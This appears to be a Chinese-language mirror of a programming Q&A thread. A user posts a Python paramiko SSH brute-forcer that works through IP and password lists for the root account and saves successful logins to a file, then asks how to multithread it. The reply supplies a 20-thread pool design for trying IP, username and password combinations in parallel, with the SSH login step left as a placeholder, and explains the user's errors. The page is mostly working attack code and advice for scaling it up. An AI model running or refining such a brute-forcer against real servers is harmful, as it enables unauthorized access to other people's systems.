Skip to main content
 首页 » 编程设计

python之多线程我的简单 SSH 暴力破解器

2025年05月04日21落叶无声

我已经编写了一个简单的 SSH Bruteforcer 代码,并且我正在尝试使其成为多线程,因为它目前运行速度非常慢。正如您在最后几行中看到的那样,我已经尝试过,但没有完全理解线程。我已经阅读了几个示例,但我不太理解它,所以我觉得添加到我的程序中会让我更好地理解它。

代码:

try: 
    import paramiko 
except ImportError: 
    print("Paramiko module not installed, exiting.") 
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue 
import os 
from datetime import datetime 
startTime = datetime.now() 
 
 
UserName2 = 'root' 
pass_file = 'pass.txt' 
ip_file = 'ip.txt' 
port = 22 
Found = 0 
IPLines = 0 
PasswordLines = 0 
 
with open('pass.txt') as txt1: 
    for line in txt1: 
        if line.strip(): 
            PasswordLines += 1 
 
with open('ip.txt') as txt2: 
    for line2 in txt2: 
        if line2.strip(): 
            IPLines += 1 
 
 
current_attempts = 0 
max_attempts = PasswordLines * IPLines 
 
 
 
 
def print_results(found): 
    while True: 
        ip, password = found.get() 
        print("Found: %r %r" % (ip, password)) 
        found.task_done() 
 
 
def init(found_): 
    global found 
    found = found_ 
 
 
def generate_passwords(): 
    #return (line.strip() for line in open(pass_file)) 
    global ip 
    global pwd 
    global txt4 
    txt3 = open(pass_file, "r") 
    txt4 = open(ip_file, "r") 
    for line3 in txt3.readlines(): 
        pwd = line3.strip() 
    for line4 in txt4.readlines(): 
        ip = line4.strip() 
 
 
def check(ip_password): 
    global current_attempts 
    ip, password = ip_password 
    ssh = paramiko.SSHClient() 
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
 
    try: 
        ssh.connect(ip, port, username=UserName2, password=pwd) 
    except paramiko.AuthenticationException, e: 
        print e 
        print '[-] %s:%s fail!' % (UserName2, pwd) 
        current_attempts += 1 
    except Exception, e: 
        print e 
    else: 
        print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip) 
        username, password, ipaddress = UserName2, pwd, ip 
        found.put((username,password,ipaddress)) 
        seconds_taken = datetime.now() - startTime 
        print 'brute forcing took %s seconds' % seconds_taken 
        ssh.close() 
        print 'Found login in %s attempts' % current_attempts 
        if os.path.isfile("correct.txt"): 
            c = open("correct.txt", "a") 
            c.write('\n' + ip + ':' + UserName2 + ':' + pwd) 
        elif os.path.isfile("correct.txt"): 
            c = open('correct.txt', "w") 
            c.write(ip + ':' + UserName2 + ':' + pwd) 
 
 
def main(): 
    found = Queue() 
    t = Process(target=check, args=[found]) 
    t.daemon = True  # do not survive the parent 
    t.start() 
    pool = Pool(processes=20, initializer=init, initargs=[found]) 
    args = ((ip, password) for password in generate_passwords() for ip in txt4) 
    for _ in pool.imap_unordered(check, args): 
        pass 
    pool.close()  # no more tasks 
    pool.join()   # wait for all tasks in the pool to complete 
    found.join()  # wait until all results are printed 
 
if __name__ == "__main__": 
    main() 

错误:

Exception in thread Thread-1: 
Traceback (most recent call last): 
  File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner 
    self.run() 
  File "C:\Python27\lib\threading.py", line 763, in run 
    self.__target(*self.__args, **self.__kwargs) 
  File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check 
    ip, password = ip_password 
TypeError: iteration over non-sequence 
 
 
Traceback (most recent call last): 
  File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module> 
    main() 
  File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main 
    args = ((ip, password) for password in generate_passwords() for ip in txt4) 
TypeError: 'NoneType' object is not iterable 

请您参考如下方法:

这个问题是令人尴尬的并行。您可以针对不同的 ip 和密码同时运行 ssh 连接尝试:

#!/usr/bin/env python 
# remove .dummy to use processes instead of threads 
from multiprocessing.dummy import Pool 
 
def check(params): 
    ip, username, password = params 
 
    # emulate ssh login attempt #XXX put your ssh connect code here 
    import random 
    successful = random.random() < .0001 
    return successful, params 
 
def main(): 
    creds = {} 
    ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours 
    usernames = ["nobody", "root"] #XXX dummy user list, use yours 
    def generate_args(): 
        for ip in ips: 
            for username in usernames: 
                for password in generate_passwords(): 
                    if (ip, username) in creds: 
                        break 
                    yield ip, username, password 
    pool = Pool(processes=20) 
    for success, params in pool.imap_unordered(check, generate_args()): 
        if not success: 
            continue 
        print("Found: %r" % (params,)) 
        ip, username, password = params 
        creds[ip, username] = password 
    pool.close() # no more tasks 
    pool.join()  # wait for all tasks in the pool to complete 
 
if __name__=="__main__": 
    main() 

其中 ips 是一个列表,如果你想尝试所有 ips 而 generate_passwords() 是一个生成器,一次生成一个密码,这是一个例子:

def generate_passwords(pass_file): 
    return (line.strip() for line in open(pass_file)) 

关于错误

ValueError: too many values to unpack 

你的代码有 found.put((username,password,ipaddress))(一个有 3 个值的元组)但是 print_results() 函数需要 ip, password = found.get()(2 个值)。错误“要解压的值太多” 是因为3 大于2。

'NoneType' object is not iterable 

attempt() 函数不返回任何内容 (None) 但您将它放在必须生成密码的 generate_passwords() 的位置(请参阅上面的示例实现)。